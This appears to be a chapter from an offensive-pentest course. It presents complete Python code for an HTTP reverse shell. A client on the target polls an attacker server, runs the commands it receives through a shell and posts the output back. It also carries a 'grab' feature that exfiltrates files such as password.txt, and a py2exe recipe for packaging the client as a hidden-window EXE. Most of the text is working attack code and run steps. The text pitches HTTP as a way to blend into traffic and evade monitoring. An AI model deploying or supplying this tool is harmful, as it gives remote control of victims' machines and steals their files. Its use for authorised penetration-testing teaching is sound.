In this section, we will discuss a higher-level Python reverse shell, which will be carried over the HTTP protocol. The HTTP protocol is highly likely to be opened on the outbound or egress firewall rules, since it's used for web surfing. Also, a lot of HTTP traffic is required in every network, which makes monitoring much harder and the chances of us slipping up are high. Let's see how it works.
First, we'll configure a simple HTTP server and a simple HTTP client and we'll use the GET
and POST
methods to send data back and forth between these two entities. So, as mentioned earlier, the client will initiate a reverse HTTP session back to our server using a GET
method and on the server side, once we receive a GET
request, we'll start taking commands using raw input, and we will send that command back to the target.
Once we give the command to the target, it'll initiate a subprocess: a cmd.exe
subprocess. Pass the command to that subprocess and it will post the result back to us using the POST
method. Just to make sure there is continuity for our shell, we will perform sleep
for 3 seconds. Then we will repeat the whole process all over again using the while True:
infinite loop. The code is much simpler than the previous TCP socket, especially in the file transfer section, and this is because we are using a high-level protocol to transfer the files and data. The next section deals with the coding part.
In this section, we'll cover the coding part for an HTTP reverse shell. On the client side, we'll be using a very high-level library to send our GET
and POST
requests.
The library called Requests
, which is available at https://pypi.python.org/pypi/requests/2.7.0#downloads, will make it much easier to do a GET
or POST
request in only a single line. Requests
is a third-party library, so let's start by installing it. All you have to do is navigate through the Command Prompt to the folder that contains its setup file and issue python setup.py install
.
To verify that the library has been installed successfully, open the Python interpreter, like we did earlier for py2exe
, and enter import requests
. If no exceptions are thrown here, we're good to go:
The following block of code is on the server side:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic HTTP Server import BaseHTTPServer # Built-in library we use to build simple HTTP server HOST_NAME = '10.10.10.100' # Kali IP address PORT_NUMBER = 80 # Listening port number class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request # from the client / target def do_GET(s): #If we got a GET request, we will:- command = raw_input("Shell> ") #take user input s.send_response(200) #return HTML status 200 (OK) s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html" s.end_headers() s.wfile.write(command) #send the command which we got from the user input def do_POST(s): #If we got a POST, we will:- s.send_response(200) #return HTML status 200 (OK) s.end_headers() length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length #value has to be integer postVar = s.rfile.read(length) # Read then print the posted data print postVar if __name__ == '__main__': # We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler) server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) try: httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server except KeyboardInterrupt: print '[!] Server is terminated' httpd.server_close()
On the server side, we'll use a built-in library named BaseHTTPServer
, to build a basic HTTP server, which handles the client requests. Next, we define our Kali IP and the listening port address by settingPORT_NUMBER
to 80
. Then, we create aserver_class
andhttpd
object, and we will pass our listener IP, thePORT_NUMBER
, and a class handler MyHandler
to theserver_class
. The class handlerMyHandler
defines what should be done when the server receives aGET
orPOST
request. The server will run forever without coding awhile True:
.
Now, if the server gets a GET
request, it will grab the user input using the raw input and will send back an HTML status, 200
, which means OK. Now, the send_header()
specifies the header field definition. It's mandatory to set this value since our HTTP client has to know the type of data. In this case, it's HTML text, text/html
. Thewfile.write()
function is equivalent to sending data in our previous TCP shell, and we will be using this function to send the command that the user has input to our target.
If the server gets a POST
request first, similar to GET
, we will return an HTML status 200
to say that we got the POST
without any problem. The s.headers['Content-Length']
specifies how many bytes the HTTP POST
data contains. Note that the returned value is a string, but it has to be converted to an integer before passing it as a parameter to rfile.read()
. We will use the integer
function to perform this. Finally, we'll print the postVar
variable, and in this case it'll be the command execution output. The server will run forever using the serve_forever()
function without coding a while True:
. However, if we invoke Ctrl + C from the keyboard, it will break the loop.
The following block of code is on the client side:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic HTTP Client import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :) import subprocess import time while True: req = requests.get('http://10.0.2.15') # Send GET request to our kali server command = req.text # Store the received txt into command variable if 'terminate' in command: break else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any- time.sleep(3)
Here, we use the subprocess to create a shell, and then we create a GET
request to our Kali server. Note that the req.text
function returns the text that we have got from sending the GET
request. In this case, text
is the command that we should execute. Now, once we get the command, we will start a subprocess, and the execution result or error will be sent as a POST
method in just a single line. Then, the process will sleep for 3 seconds, and repeat all over again. This time.sleep()
part is just to be on the safe side—in case we get a packet drop or unexpected error.
Note
Also, you can enhance this script by adding some exception handling using the try
and except
functions.
Once we proceed to run the script on both sides, we will get our shell on the server side and try navigating through the current working directories. Execute ipconfig
and you'll get the complete IP configuration. Now, mistype a command and the error message will be thrown, as shown in the following output:
At the end we terminate the session by executing terminate
on the server side. Once we do this, we exit our script on the client side, whereas to exit the script on the server side we need to hit on Ctrl + C on the keyboard to terminate the loop. The server will terminate by showing a [!] Server is terminated
message.
As we did with our TCP reverse shell, we will do a file transfer from the target machine back to the attacker machine.
Thankfully, the Requests
library supports submitting a file in just two lines:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # HTTP Data Exfiltration Client import requests import subprocess import os import time while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: break # end the loop # Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we # notify our attacker that we are unable to find the file, but if the file is there then we will :- # 1.Append /store in the URL # 2.Add a dictionary key called 'file' # 3.requests library use POST method called "multipart/form-data" when submitting files #All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output #Please see the server script for more details on how we can use these points to get the file elif 'grab' in command: grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable if os.path.exists(path): # check if the file is there url = 'http://10.0.2.15/store' # Appended /store in the URL files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data" else: post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' ) else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) time.sleep(3)
Here, we will perform the same process as we did in the TCP socket. If we get a grab
command from the attacker machine, we will split this command into two parts, where the second part contains the path directory or the path for the file that we want to grab. Next, we will check whether the file is there. If not, we will notify the server about it immediately. Now, in case the file was there, notice that we have appended /store
to our URL, url = 'http://10.0.2.15/store'
as an indicator that we will be transferring a file, not a normal cmd
output since both use the POST
method to transmit data. So, for instance, when we send a file, let's say x.doc
, we will send it with a /store
in the URL. Also, the Requests
library uses a special POST
method called multipart/form-data
to submit or send a file.
Now, on the server side, we've imported a new library called cgi
. This one is used to handle the received file and store it locally. The following is the server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # HTTP Data Exfiltration Server import BaseHTTPServer import os, cgi HOST_NAME = '10.0.2.15' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(s): command = raw_input("Shell> ") s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(command) def do_POST(s): # Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL # then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we # will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion if s.path == '/store': try: ctype, pdict = cgi.parse_header(s.headers.getheader('content-type')) if ctype == 'multipart/form-data' : fs = cgi.FieldStorage( fp = s.rfile, headers = s.headers, environ={ 'REQUEST_METHOD':'POST' } ) else: print "[-] Unexpected POST request" fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file' # to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file' with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt' o.write( fs_up.file.read() ) s.send_response(200) s.end_headers() except Exception as e: print e return # once we store the received file in our file holder, we exit the function s.send_response(200) s.end_headers() length = int(s.headers['Content-Length']) postVar = s.rfile.read(length ) print postVar if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) try: httpd.serve_forever() except KeyboardInterrupt: print '[!] Server is terminated' httpd.server_close()
If we receive a POST
with a /store
in the URL and the content type as multipart/form-data
, it means that we'll get a file from the target machine, not the usual command output. Then, we need to pass the received file, headers
, and REQUEST_METHOD
to the FieldStorage
class. The returned value of FieldStorage
can be indexed like a Python dictionary, where we have a key and a corresponding value. For instance, if we create a Python dictionary called D
with a key K
and value v
as follows:
To get the value, v
, we just need to have the corresponding key, K
. On the client side, when we submitted the file, we attached a tag or key called files ='file'
. So, we will use this tag or key on the server side to receive that file. The FieldStorage
will grab the keys and its values and store them in an object calledfs
. But we're only interested in the value offile
, which is the tag or key that contains the actual file we sent. Once we get that value, we will write it into a placeholder called1.txt
. In the end, we exit the function to prevent any mix-up with ongoing file transfer posts.
To initiate the file transfer, perform the following steps:
- Run the code the usual way on both machines (
Run
|Run Module)
- Once we get the
Shell>
, proceed to perform a directory search with thedir
command and try to grab a file, sayputty.exe
, by running thegrab
command,grab*putty.exe
- Once we get the file on our server machine, rename the placeholder to
putty.exe
and verify that we haveputty.exe
running fine without any file corruption. This can be done by executing the following from the Command Prompt:
wine putty.exe
- Go back to the shell and grab another file, say
password.txt
, just to test it. - Check whether you can read the contents after renaming the placeholder
- Try to grab a non-existing file; you'll be presented with an error since it does not exist in the first place
In this section, similar to what we have done in our TCP socket, we will export and test our HTTP reverse shell into an EXE, and test it after that.
Here, also you need to create a folder named Toexe
on your desktop. As mentioned earlier, the py2exe
binary file, the py2exe
setup file, and the HTTP_Client.py
script file should be in the folder.
The setup file, setup.py
, will be as shown here:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ # HTTP Exporting to EXE Client Setup from distutils.core import setup import py2exe , sys, os sys.argv.append("py2exe") setup( options = {'py2exe': {'bundle_files': 1}}, windows = [{'script': "HTTP_Client.py"}], zipfile = None, )
Perform the following steps to initiate the export:
- Start by editing the setup file
py2exe
and changeClient.py
intoHTTP_Client.py
, which is the name of our script on the target side. - Execute the
setup.py
script. - Once we have finished, we will go to the
dist
folder and copyHTTP_Client.py
to the desktop. - Ensure that the server is already running. Once we get the
Shell>
, go to the directories using thedir
. - Try to grab a file, say
grab*password.txt
, as we did in the previous sections. - After getting the file successfully on the server side, try other simple commands such as
cd
andwhoami
. - Try typing an incorrect command and check whether you are getting the proper error message
- At the end, terminate the session from our shell by executing the
terminate
command - You can check to see that we have the
HTTP_Client.exe
process on our Windows machine; once we executeterminate
, the process will disappear from the list confirming its termination